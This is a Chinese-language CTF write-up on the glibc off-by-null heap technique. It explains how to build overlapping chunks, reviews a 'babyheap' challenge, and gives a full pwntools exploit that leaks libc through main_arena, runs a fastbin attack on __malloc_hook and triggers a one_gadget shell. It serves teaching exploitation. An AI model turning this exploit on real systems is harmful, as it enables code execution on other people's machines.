⭐off-by-null利用手法⭐

off-by-null利用手法

关于堆块的构造一般情况下使用两头大中间小的构造,因为这样可以堆块重叠去fastbin攻击,当然特殊情况特殊对待。

下面讲解一下构造过程

申请五个堆块

1
2
3
4
5
add(0x100 , b'aaaa') #0
add(0x30 , b'ccc') #1
add(0x68 , b'dddd') #2
add(0xf0 , b'eeee') #3
add(0x10 , b'ffff') #4

其中需要注意的是第四个和第五个,第四个是应为创建后为0x101然后利用off-by-null可以变成0x100大小不变只是pre_size变了,第五个是防止和Top_chunk合并

然后我们通过chunk2利用off-by-null漏洞来伪造chunk3前边的chunk已经全部被释放

图1

然后我们先释放chunk0然后当释放chunk3的时候就会触发unlink,导致chunk3和它前边的chunk都合并(因为我们已经伪造了前边的chunk为一个,且已经释放)

图2

我看可以看到chunk1和chunk2已经被包括进去,这就造成了堆块重叠

例题

例题下载

解题思路

打开ida为经典堆题

查看add函数,正常申请堆块

add函数

edit函数也没有存在堆溢出

edit函数

show函数正常打印chunk的内容

show函数

delete函数也不存在UAF

delete函数

但是在read_input中发现漏洞,存在off-by-null漏洞

read_input

解题思路为

  1. 利用off-by-null漏洞制造堆块重叠
  2. 然后利用堆块重叠修改fastbin的fd指针进行fastbin attack
  3. 打malloc_hook用realloc调节rsp的值,以满足one_gadget的条件

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from ctypes import *
import sys
import time

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = 'babyheap'
url = '192.168.180.130:3389'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('./libc-2.23.so')

'''
===============================
Main Menu
===============================
1. Add
2. Edit
3. Show
4. Delete
5. Exit
===============================
Choose an option >>
'''
def add(size , content) :
p.sendafter('Choose an option >> ' , b'1')
p.sendafter('How much do you want\n' , str(size))
p.sendlineafter('Enter something?' , content)
def edit(idx , content) :
p.sendafter('Choose an option >> ' , b'2')
p.sendafter('input index\n' , str(idx))
p.sendlineafter('Enter something?' , content)

def show(idx):
p.sendafter('Choose an option >> ' , b'3')
p.sendafter('Give me a index.Let you see see\n' , str(idx))

def free(idx) :
p.sendafter('Choose an option >> ' , b'4')
p.sendlineafter('input index\n' , str(idx))


add(0x100 , b'aaaa') #0
add(0x30 , b'ccc') #1
add(0x68 , b'dddd') #2
add(0xf0 , b'eeee') #3
add(0x10 , b'ffff') #4

payload = p64(0) * 12 + p64(0x1C0)
edit(2 , payload)
free(0)
free(3)
add(0x100 , b'aaaa') #5
show(1)
main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 88
lss('main_arena')
malloc_hook = main_arena - 0x10
base_addr = malloc_hook - libc.sym['__malloc_hook']
lss('base_addr')
one_gadget = [0x4527a , 0xf03a4 , 0xf1247]
execve = base_addr + one_gadget[0]
free(2)
add(0xA0 , b'bbbb')
fake_chunk = malloc_hook - 0x23
payload = p64(0) * 7 + p64(0x71) + p64(fake_chunk)
edit(2 , payload)
add(0x60 , b'ccc')
add(0x60 , b'hhh')
lss('fake_chunk')
realloc = base_addr + libc.sym['realloc']
payload = 11 * b'a' + p64(execve) + p64(realloc + 14)
edit(5 , payload)
lss('malloc_hook')
# sleep(3)
p.sendafter('Choose an option >> ' , b'1')
p.sendafter('How much do you want\n' , str(0x10))

p.interactive()